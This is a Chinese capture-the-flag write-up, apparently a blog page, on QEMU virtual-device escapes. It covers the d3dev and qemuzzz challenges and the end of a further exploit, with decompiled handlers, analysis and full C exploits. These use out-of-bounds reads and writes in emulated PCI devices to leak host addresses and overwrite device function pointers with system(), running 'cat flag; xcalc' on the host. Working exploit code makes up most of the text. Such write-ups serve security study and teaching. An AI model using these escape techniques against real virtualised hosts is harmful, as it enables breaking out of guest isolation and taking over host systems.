            hash_map_clear(map), free(map);
            return;
        }
        hash_map_set(map, paddr, vaddr);
    }
}

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void *mmio_mem;

void mmio_write64(size_t offset, uint64_t value) {
    *(uint64_t *) (mmio_mem + offset) = value;
}

void mmio_init() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        perror("[-] failed to open mmio.🤔");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        perror("[-] failed to mmap mmio.");
        exit(EXIT_FAILURE);
    }
    if (mlock(mmio_mem, 0x1000) == -1) {
        perror("[-] failed to mlock mmio_mem.");
        exit(EXIT_FAILURE);
    }
}

#define SRC 0x8
#define CNT 0x10
#define CMD 0x18

typedef struct {
    size_t CP_src;
    size_t CP_cnt;
    size_t CP_dst;
} CP_info;

char cmd[] = "xcalc";

int main() {
    mmio_init();

    adjacent_pages_buf read_buf;
    get_adjacent_pages(&read_buf);
    printf("[+] read_buf vaddr[0]: %p\n", read_buf.vaddr[0]);
    printf("[+] read_buf vaddr[1]: %p\n", read_buf.vaddr[1]);
    printf("[+] read_buf paddr: %p\n", read_buf.paddr);

    adjacent_pages_buf write_buf;
    get_adjacent_pages(&write_buf);
    printf("[+] write_buf vaddr[0]: %p\n", write_buf.vaddr[0]);
    printf("[+] write_buf vaddr[1]: %p\n", write_buf.vaddr[1]);
    printf("[+] write_buf paddr: %p\n", write_buf.paddr);

    (*(CP_info *) write_buf.vaddr[0]).CP_dst = read_buf.paddr;
    (*(CP_info *) write_buf.vaddr[0]).CP_cnt = 0x1040;
    mmio_write64(SRC, write_buf.paddr);
    mmio_write64(CNT, 1);
    mmio_write64(CMD, 0x4);
    sleep(1);
    qword_dump(NULL, read_buf.vaddr[1], 0x40);

    size_t timer_list_addr = ((size_t *) read_buf.vaddr[1])[1];

    size_t elf_base = ((size_t *) read_buf.vaddr[1])[2] - 0x4dce80;
    printf("[+] elf base: %p\n", elf_base);

    size_t system_plt = elf_base + 0x2c2180;
    printf("[*] system@plt: %p\n", system_plt);

    size_t opaque_addr = ((size_t *) read_buf.vaddr[1])[3];
    printf("[+] opaque addr: %p\n", opaque_addr);

    for (int i = 0; i < 0x11; i++) {
        (*(CP_info *) (write_buf.vaddr[0] + i * sizeof(CP_info))).CP_src = write_buf.paddr;
        (*(CP_info *) (write_buf.vaddr[0] + i * sizeof(CP_info))).CP_dst = read_buf.paddr;
        (*(CP_info *) (write_buf.vaddr[0] + i * sizeof(CP_info))).CP_cnt = 0x1020;
    }

    *(size_t *) (write_buf.vaddr[1] + 0x8) = timer_list_addr;
    *(size_t *) (write_buf.vaddr[1] + 0x10) = system_plt;
    *(size_t *) (write_buf.vaddr[1] + 0x18) = opaque_addr + 0xa00 + 0x500;
    memcpy((void *) (write_buf.vaddr[0] + 0x500), cmd, sizeof(cmd));
    mmio_write64(SRC, write_buf.paddr);
    mmio_write64(CNT, 0x11);
    mmio_write64(CMD, 0x1);
    sleep(1);

    mmio_write64(CMD, 0x114514);

    return 0;
}

D^3CTF2021 d3dev

附件下载链接

漏洞分析

d3dev_pmio_write 可以将 key 置 0 ,调用 rand_r 函数指针或者设置 seek 的值。

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp

  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;
  }
  else if ( addr > 8 )
  {
    if ( addr == 0x1C )
    {
      opaque->r_seed = val;
      key = opaque->key;
      do
        *key++ = opaque->rand_r(&opaque->r_seed, 0x1CLL, val, *(_QWORD *)&size);
      while ( key != (uint32_t *)&opaque->rand_r );
    }
  }
  else if ( addr )
  {
    if ( addr == 4 )
    {
      *(_QWORD *)opaque->key = 0LL;
      *(_QWORD *)&opaque->key[2] = 0LL;
    }
  }
  else
  {
    opaque->memory_mode = val;
  }
}

d3dev_mmio_write 函数内容如下:

void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  __int64 v4; // rsi
  _QWORD *v5; // r11
  uint64_t v6; // rdx
  int delta; // esi
  uint32_t v8; // r10d
  uint32_t v9; // r9d
  uint32_t v10; // r8d
  uint32_t v11; // edi
  unsigned int lw; // ecx
  uint32_t hi; // eax

  if ( size == 4 )
  {
    v4 = opaque->seek + (unsigned int)(addr >> 3);
    if ( opaque->mmio_write_part )
    {
      v5 = &opaque->pdev.qdev.parent_obj.class + v4;
      v6 = val << 32;
      delta = 0;
      opaque->mmio_write_part = 0;
      v8 = opaque->key[0];
      v9 = opaque->key[1];
      v10 = opaque->key[2];
      v11 = opaque->key[3];
      lw = v6 + *((_DWORD *)v5 + 0x2B6);
      *(_QWORD *)&hi = (v6 + v5[0x15B]) >> 32;
      do
      {
        delta -= 0x61C88647;
        lw += (delta + hi) ^ (v9 + (hi >> 5)) ^ (v8 + 16 * hi);
        hi += (delta + lw) ^ (v11 + (lw >> 5)) ^ (v10 + 16 * lw);
      }
      while ( delta != 0xC6EF3720 );
      v5[0x15B] = __PAIR64__(hi, lw);
    }
    else
    {
      opaque->mmio_write_part = 1;
      opaque->blocks[v4] = (unsigned int)val;
    }
  }
}

由于设备是通过 seek + addr / 8 来索引 uint64_t 类型的 blocks 数组, blocks 数组长度为 0x101 ,因此我们可以通过修改 seek 为 0x100 来实现越界操作。

根据 mmio_write_part 的值函数会进行相应的操作:

  • mmio_write_part == 0 时,会将 val 的低 32 比特高位补 0 成 64 比特写入 blocks[seek + addr / 8]
  • mmio_write_part == 1 时,会将 (blocks[seek + addr / 8] & 0xFFFFFFFF) | ((blocks[seek + addr / 8] & 0xFFFFFFFF00000000) + (val << 32)) 按如下方式进行加密,然后写入 blocks[seek + addr / 8]
    void tea_encrypt(uint64_t *val, uint32_t key[4]) {
        uint32_t val_hi = *val >> 32, val_lw = *val;
        for (uint32_t delta = 0x9e3779b9; delta != 0x6526b0d9; delta -= 0x61C88647) {
            val_lw += (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4));
            val_hi += (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4));
        }
        *val = (1ULL * val_hi << 32) | val_lw;
    }
    

因此我们有了越界写的方法:

首先我们将要写入的值 val 进行解密运算后得到 val' ,然后我们首先在 mmio_write_part == 0 的情况下写 val' 的低 32 比特,之后在 mmio_write_part == 1 的情况下写 val' 的高 32 比特,经过 mmio_write_part 函数的相关操作后等价为越界写了一个值 val

d3dev_mmio_read 函数内容如下:

uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t v3; // rax
  unsigned int v4; // esi
  unsigned int lw; // ecx
  uint64_t hi; // rax

  v3 = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
  v4 = 0xC6EF3720;
  lw = v3;
  hi = HIDWORD(v3);
  do
  {
    LODWORD(hi) = hi - ((lw + v4) ^ (opaque->key[3] + (lw >> 5)) ^ (opaque->key[2] + 16 * lw));
    lw -= (hi + v4) ^ (opaque->key[1] + ((unsigned int)hi >> 5)) ^ (opaque->key[0] + 16 * hi);
    v4 += 0x61C88647;
  }
  while ( v4 );
  if ( opaque->mmio_read_part )
  {
    opaque->mmio_read_part = 0;
    return (unsigned int)hi;
  }
  else
  {
    opaque->mmio_read_part = 1;
    return lw;
  }
}

d3dev_mmio_write 一样,这个函数同样存在越界操作。

d3dev_mmio_write 会按照下面的方法解密 blocks[seek + addr / 8] 位置的 8 字节数据,并根据 mmio_read_part 的值是否为 1 决定返回解密结果的高 32 比特或低 32 比特。

void tea_decrypt(uint64_t *val, uint32_t key[4]) {
    uint32_t val_hi = *val >> 32, val_lw = *val;
    for (uint32_t delta = 0xC6EF3720; delta; delta += 0x61C88647) {
        val_hi -= (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4));
        val_lw -= (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4));
    }
    *val = (1ULL * val_hi << 32) | val_lw;
}

漏洞利用

首先由于 tea_decrypt 越界读的结果不完整,因此我们无法通过泄露的数据还原出越界读取的位置原本的数据。因此我们可以先通过 mmio_write_part == 1 时利用 d3dev_mmio_write 越界加密数据然后再利用 d3dev_mmio_read 越界读取解密后的加密数据从而越界读出原本的值。

根据 d3devState 的结构体可知 blocks 后面有 rand_r 函数指针,只要我们越界读出这个值就可以泄露 libc 基址。

00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ?                             ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends

之后越界写 rand_rsystem 函数地址。

d3dev_pmio_write 中调用 rand_r 时传入的参数为 r_seed 地址并且在调用之前还为 r_seed 赋值为 val ,因此我们可以将 r_seed 赋值为要执行的命令的前 4 字节,4 字节之后的命令通过 d3dev_mmio_write 写入。最后 d3dev_pmio_write 中调用 rand_r 实现任意命令执行。

exp

我的 glibc 偏移是按照本机 Ubuntu 20.04 设置的,打远程的时候改一下偏移即可。

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/io.h>

void *mmio_mem;

void mmio_write32(size_t offset, uint32_t value) {
    *(uint32_t *) (mmio_mem + offset) = value;
}

uint32_t mmio_read32(size_t offset) {
    return *(uint32_t *) (mmio_mem + offset);
}

void mmio_init() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        perror("[-] failed to open mmio.🤔");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        perror("[-] failed to mmap mmio.");
        exit(EXIT_FAILURE);
    }
    if (mlock(mmio_mem, 0x1000) == -1) {
        perror("[-] failed to mlock mmio_mem.");
        exit(EXIT_FAILURE);
    }
}

uint32_t pmio_mem;

void pmio_write(uint32_t offset, uint32_t value) {
    outl(value, pmio_mem + offset);
}

uint32_t pmio_read(uint32_t offset) {
    return inl(pmio_mem + offset);
}

void pmio_init() {
    if (iopl(3) == -1) {
        perror("[-] iopl failed.");
        exit(EXIT_FAILURE);
    }
    FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:03.0/resource", "r");
    fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
    printf("[*] pmio_mem: %p\n", pmio_mem);
}

void tea_encrypt(uint64_t *val, const uint32_t key[4]) {
    uint32_t val_hi = *val >> 32, val_lw = *val;
    for (uint32_t delta = 0x9e3779b9; delta != 0x6526b0d9; delta -= 0x61C88647) {
        val_lw += (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4));
        val_hi += (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4));
    }
    *val = (1ULL * val_hi << 32) | val_lw;
}

void tea_decrypt(uint64_t *val, const uint32_t key[4]) {
    uint32_t val_hi = *val >> 32, val_lw = *val;
    for (uint32_t delta = 0xC6EF3720; delta; delta += 0x61C88647) {
        val_hi -= (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4));
        val_lw -= (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4));
    }
    *val = (1ULL * val_hi << 32) | val_lw;
}

char cmd[] = "cat flag; xcalc";

int main() {
    mmio_init();
    pmio_init();

    pmio_write(0x8, 0x100); // seek = 0x100
    mmio_write32(0, 0); // mmio_write_part = 1
    mmio_write32(0x18, 0); // enctypt rand_r

    size_t rand_r_addr = mmio_read32(0x18) | (1ULL * mmio_read32(0x18) << 32);
    size_t libc_base = rand_r_addr - 0x46780; // decrypt rand_r
    printf("[+] libc_base: %p\n", libc_base);
    size_t system_addr = libc_base + 0x50d60;
    printf("[*] system addr: %p\n", system_addr);

    pmio_write(4, 0x114514); // key = {0, 0, 0, 0}
    tea_decrypt(&system_addr, (uint32_t[]) {0, 0, 0, 0});

    printf("[*] decrypt system addr: %p\n", system_addr);

    mmio_write32(0x18, system_addr);
    mmio_write32(0x18, system_addr >> 32);

    pmio_write(0x8, 0); // seek = 0
    for (int i = 4; i < sizeof(cmd); i += 8) {
        uint64_t val = *(uint64_t *) &cmd[i];
        tea_decrypt(&val, (uint32_t[]) {0, 0, 0, 0});
        mmio_write32(i, val);
        mmio_write32(i, val >> 32);
    }

    pmio_write(0x1C, *(uint32_t *) cmd);

    return 0;
}

华为云2020 qemuzzz

附件下载链接
虚拟机密码:root

漏洞分析

题目关键内容在 zzz_mmio_write 函数中。

void __fastcall zzz_mmio_write(zzzState *opaque, unsigned __int64 addr, unsigned __int64 val, unsigned int size)
{
  zzzState *my_opaque; // rbp
  __int16 len1; // dx
  __int64 offset1; // rax
  unsigned __int16 len; // cx
  void (__fastcall *cpu_physical_memory_rw)(__int64, unsigned __int8 *, _QWORD, __int64); // r10
  unsigned __int8 *buf; // rsi
  __int64 offset0; // rdx
  int len0; // esi
  char *i; // rdi

  if ( addr == 0x20 )
  {
    opaque->addr = val << 12;
  }
  else if ( addr <= 0x20 )
  {
    if ( addr == 0x10 )
    {
      if ( val > 0xFFF )
      {
        if ( opaque->offset > 0xFFFu )
          opaque->offset = 0;
      }
      else
      {
        opaque->offset = val;
      }
    }
    else if ( addr == 0x18 )
    {
      opaque->len = val;
    }
  }
  else if ( addr == 0x50 )                      // buf^=0x290
  {
    offset0 = opaque->offset;
    len0 = opaque->len & 0x7FFE;
    if ( (int)offset0 + len0 >= 0x1000 )
      len0 = 4095 - offset0;
    for ( i = &opaque->field_0[offset0]; len0 / 2 > (int)offset0; i += 2 )
    {
      *((_WORD *)i + 0x4F8) ^= 0x209u;
      LODWORD(offset0) = offset0 + 2;
    }
  }
  else if ( addr == 0x60 )
  {
    my_opaque = opaque->opaque_ptr;
    if ( (my_opaque->addr & 0xFFF) == 0 )
    {
      len1 = my_opaque->len;
      offset1 = my_opaque->offset;
      len = len1 & 0x7FFE;
      if ( (int)(offset1 + (len1 & 0x7FFE) - 1) <= 0x1000 )
      {
        cpu_physical_memory_rw = opaque->cpu_physical_memory_rw;
        buf = &my_opaque->buf[offset1];
        if ( (len1 & 1) != 0 )
          cpu_physical_memory_rw(my_opaque->addr, buf, len, 1LL);
        else
          cpu_physical_memory_rw(my_opaque->addr, buf, len, 0LL);
        if ( (__int16)my_opaque->len < 0 )
          pci_set_irq(my_opaque, 1LL);
      }
    }
  }
}

addr 为 0x60 时存在 1 字节越界。

zzzState 结构体中 bufopaque_ptr 相邻,因此可以修改 opaque_ptr

00000000 zzzState struc ; (sizeof=0x1A00, mappedto_106)
00000000 field_0 db 2528 dup(?)
000009E0 addr dq ?
000009E8 len dw ?
000009EA offset dw ?
000009EC field_9EC dw ?
000009EE field_9EE dw ?
000009F0 buf db 4096 dup(?)
000019F0 opaque_ptr dq ?                         ; offset
000019F8 cpu_physical_memory_rw dq ?             ; offset
00001A00 zzzState ends

cpu_physical_memory_rw 用的 addrlenoffset 都是通过 opaque_ptr 定位的,因此修改 opaque_ptr 指向伪造的 opaque 可以伪造 addrlenoffset 造成更大范围的越界读写。

通过越界读写 buf 后面的数据可以泄露 qemu 地址和劫持程序执行流。
在这里插入图片描述

漏洞利用

  • 越界写把 opaque_ptr 改大使得 opaque_ptr 指向的 opaqueaddrlenoffset 为我们在 buf 中伪造的。

  • 越界读出 opaque_ptrcpu_physical_memory_rw ,从而泄露 opaque 地址和 qemu 地址。

  • 由于此时 addr == 0x60 只能进行读操作,因此我们需要使用 addr == 0x50 时的异或 0x209 来修改 len 使得 addr == 0x60 可以进行写操作。为了让异或的后的 lenoffsetaddr == 0x60 时可以通过检查并且能够有足够多的越界,前面第一步伪造的 addrlen 需要进行爆破。

  • 越界写覆盖 cpu_physical_memory_rwsystem@pltopaque_ptr 指向新的 opaque 并且新的 opaque 中的 addr 指向要执行的命令的地址,并且在要执行的的地址处写入命令。这里条件限制较多,特别是参数地址需要关于页对齐。为了尽可能满足条件,需要新的 opaque 地址尽可能小,也就是第一步伪造的 offset 异或 0x209 之后尽可能小。在第一步爆破的时候也要添加这一条件。

exp

#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

#define PAGE_SIZE 0x1000

size_t vaddr_to_paddr(size_t vaddr) {
    int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
    lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
    size_t data;
    read(pagemap_fd, &data, 8);
    close(pagemap_fd);
    return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}

void *mmio_mem;

void mmio_write64(size_t offset, uint64_t value) {
    *(uint64_t *) (mmio_mem + offset) = value;
}

uint64_t mmio_read64(size_t offset) {
    return *(uint64_t *) (mmio_mem + offset);
}

void mmio_write32(size_t offset, uint32_t value) {
    *(uint32_t *) (mmio_mem + offset) = value;
}

uint32_t mmio_read32(size_t offset) {
    return *(uint32_t *) (mmio_mem + offset);
}

void mmio_init() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        perror("[-] failed to open mmio.🤔");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        perror("[-] failed to mmap mmio.");
        exit(EXIT_FAILURE);
    }
    if (mlock(mmio_mem, 0x1000) == -1) {
        perror("[-] failed to mlock mmio_mem.");
        exit(EXIT_FAILURE);
    }
}

#define OFFSET 0x10
#define LEN 0x18
#define ADDR 0x20
#define COVER 0x50
#define MEM_RW 0x60

typedef struct {
    uint64_t address;
    uint16_t length;
    uint16_t offset;
} rw_info;

char cmd[] = "cat flag; xcalc";

int main() {
    mmio_init();

    void *buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    memset(buf, 0, PAGE_SIZE);
    mlock(buf, PAGE_SIZE);
    size_t buf_paddr = vaddr_to_paddr((size_t) buf);
    printf("[*] buf vaddr: %p\n", buf);
    printf("[*] buf paddr: %p\n", buf_paddr);

    mmio_write64(OFFSET, 0x1000 - 1);
    mmio_write64(LEN, 0x2 | 1); // oob read
    mmio_write64(ADDR, buf_paddr >> 12);
    mmio_write64(MEM_RW, 0x114514);
    uint8_t leak_byte = *(uint8_t *) (buf + 1);
    printf("[+] leak byte: %#x\n", leak_byte);

    size_t max_off = 0xF0 - leak_byte;
    printf("[*] max off: %p\n", max_off);
    rw_info info = {buf_paddr, -1, -1};
    uint16_t base, new_base;
    uint16_t oob_off;
    for (uint16_t oob = max_off, min_new_off = (uint16_t) -1; oob >= 0x10; oob--) {
        for (uint16_t len = oob | 1; len <= 0x1000 - (max_off - oob); len += 2) {
            uint16_t off = 0x1000 - (max_off - oob) - len;
            uint16_t new_len = len ^ 0x209, new_off = off ^ 0x209;
            if (new_len + new_off <= 0x1001 && new_len - (0x1000 - max_off - new_off) >= 0x10 && new_off < min_new_off) {
                base = 0x1000 - max_off - off, new_base = 0x1000 - max_off - new_off;
                info.length = len, info.offset = off;
                oob_off = oob, min_new_off = new_off;
            }
        }
    }
    if (info.length == (uint16_t) -1) {
        puts("[-] failed to find rw_info.");
        exit(EXIT_FAILURE);
    }
    printf("[+] find info,len: %p, off: %p\n", info.length, info.offset);
    uint16_t new_len = info.length ^ 0x209, new_off = info.offset ^ 0x209;
    printf("[+] find new_info,len: %p, off: %p\n", new_len, new_off);
    printf("[*] oob off: %p\n", oob_off);
    printf("[*] base: %p\n", base);

    mmio_write64(OFFSET, oob_off - 0x10);
    mmio_write64(LEN, sizeof(info) | 0); // write
    mmio_write64(ADDR, buf_paddr >> 12);
    memcpy(buf, &info, sizeof(info));
    mmio_write64(MEM_RW, 0x114514);

    mmio_write64(OFFSET, 0x1000 - 1);
    mmio_write64(LEN, 0x2 | 0); // oob write
    mmio_write64(ADDR, buf_paddr >> 12);
    *(uint8_t *) (buf + 1) = 0xF0;
    mmio_write64(MEM_RW, 0x114514);

    mmio_write64(MEM_RW, 0x114514);

    qword_dump("oob read", buf + base, info.length - base);
    size_t leak_opaque_ptr = *(size_t *) (buf + base);
    printf("[+] leak opaque_ptr: %p\n", leak_opaque_ptr);
    size_t leak_qemu_addr = *(size_t *) (buf + base + 8);
    printf("[+] leak qemu_addr: %p\n", leak_qemu_addr);
    size_t elf_base = leak_qemu_addr - 0x5bc5c0;
    printf("[*] elf base: %p\n", elf_base);
    size_t system_plt = elf_base + 0x2a7a84;
    printf("[*] system@plt: %p\n", system_plt);

    mmio_write64(OFFSET, max_off - 0x10 + 8);
    mmio_write64(LEN, (max_off - 0x10 + 8 + 4) * 2);
    mmio_write64(COVER, 0x1919810);

    *(uint64_t *) (buf + new_base) = leak_opaque_ptr + 0x10 + new_off;
    *(uint64_t *) (buf + new_base + 8) = system_plt;

    size_t arg_offset = ((leak_opaque_ptr + 0x9f0 + new_off + 0xFFF) & (~0xFFF)) - (leak_opaque_ptr + 0x9f0 + new_off);
    size_t arg_addr = leak_opaque_ptr + 0x9f0 + new_off + arg_offset;
    if (arg_offset + strlen(cmd) > new_len) {
        puts("[-] failed to find arg addr.");
        exit(EXIT_FAILURE);
    }
    printf("[*] arg_offset: %p\n", arg_offset);
    printf("[*] arg_addr: %p\n", arg_addr);
    rw_info new_info = {arg_addr, 0, 0};
    memcpy(buf, &new_info, sizeof(new_info));
    strcpy(buf + arg_offset, cmd);
    mmio_write64(MEM_RW, 0x114514);
    mmio_write64(MEM_RW, 0x114514);

    return 0;
}
Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐